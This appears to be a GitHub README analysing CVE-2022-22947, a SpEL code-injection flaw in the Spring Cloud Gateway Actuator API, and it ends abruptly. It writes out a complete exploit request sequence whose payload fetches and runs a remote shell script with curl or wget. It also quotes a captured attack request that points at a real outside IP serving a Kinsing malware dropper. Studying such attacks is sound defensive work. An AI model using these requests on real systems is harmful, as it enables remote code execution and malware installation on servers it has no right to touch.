sumitpathania03/cve-2022-22947
CVE-2022-22947 (Spring-Cloud-Gateway) In the first quarter of 2022, an interesting and critical (base score of 10.0) Spring Cloud Gateway Code Injection vulnerability was discovered leveraging the Actuator API to perform SpEL Injection, potentially leading to system compromise. Spring cloud gateway versions prior to 3.1.1+ and 3.0.7+ In spring cloud gateway, applications are vulnerable to a code injection attack IF:The Gateway Actuator endpoint is enabled, exposed and unsecured.
1.ATTACKER WILL SEND A POST REQUEST + JSON FOR NEW ROUTE CREATION IN THE GATEWAY AND WITH THE JSON CONFIG FILE IT IS CONFIGURING RESPONSE HEADER OF THAT ROUTE
POST /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 372
{"id": "BuOHOGeywH", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}], "uri": "http://example.com", "order": 0}
RESPONSE:
HTTP/1.1 201 Created Location: /routes/xwpdsdeb content-length: 0
AS WE CAN SEE IN JSON FILE , WE ARE GETTING VALUE OF RESPONSE HEADER BY EXECUITING THIS EXPRESSION
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}]
AND WE CAN SEE IN THE exec( ) method there is a composite command to Remote code execution.
2.THEN ATTACKER SENDS A POST REQUEST TO REFRESH ALL THE ROUTES
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0
RESPONSE:
HTTP/1.1 200 OK
3.THEN THE ATTACKER SENDS A GET REQUEST ON THE NEWLY CREATED ROUTE TO EXECUITE THE RCE COMMAND IN THE RESPONSE HEADER
GET /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
RESPONSE:
HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 27 Dec 2023 09:45:00 UTC
Content-Length: 202
{"predicate": "RouteDefinitionRouteLocator$$Lambda$1046/0x0000000840610840", "route_id": "xwpdsdeb", "filters": ["[[AddResponseHeader Result = ''], order = 1]"], "uri": "10.0.2.15/xwpdsdeb", "order": 0}
RESPONSE 200 OK INDICATES THAT THE RCE COMMAND HAS BEEN SUCESSFULLY EXECUITED
4.THEN THE ATTACKER WILL SEND A DELETE REQUEST TO DELETE THAT ROUTE
DELETE /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0
RESPONSE:
HTTP/1.1 200 OK CONNECTION: close
Date: Wed, 27 Dec 2023 09:45:01 UTC
Content-Length: 4855
HTTP 200 OK INDICATED THAT ROUTE HAS BEEN DELETED SUCESSFULLY
##DECODED SHELLCODE:
POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1
Host: 180.188.253.170:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 411
Content-Type: application/json
Accept-Encoding: gzip
{
"id": "BuOHOGeywH",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
AFTER DECODING THIS SHELLCODE I FOUND A WGET URL OF A SCRIPT THEN, I MANUALLY DOWNLOAD THAT SCRIPT AND AFTER ANAYLISING THAT SCRIPT I FOUND AN DOWNLOAD URL OF KINSING MALWARE
AND FROM THAT URL I HAVE DOWNLOADED KINSING MALWARE IN A ZIP FILE FOR FURTHER ANALYSIS THEN AFTER THAT I HAVE ANYLSED MD5 VALUE=787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c OF THAT MALWARE AND HERE IS WHAT I GOT
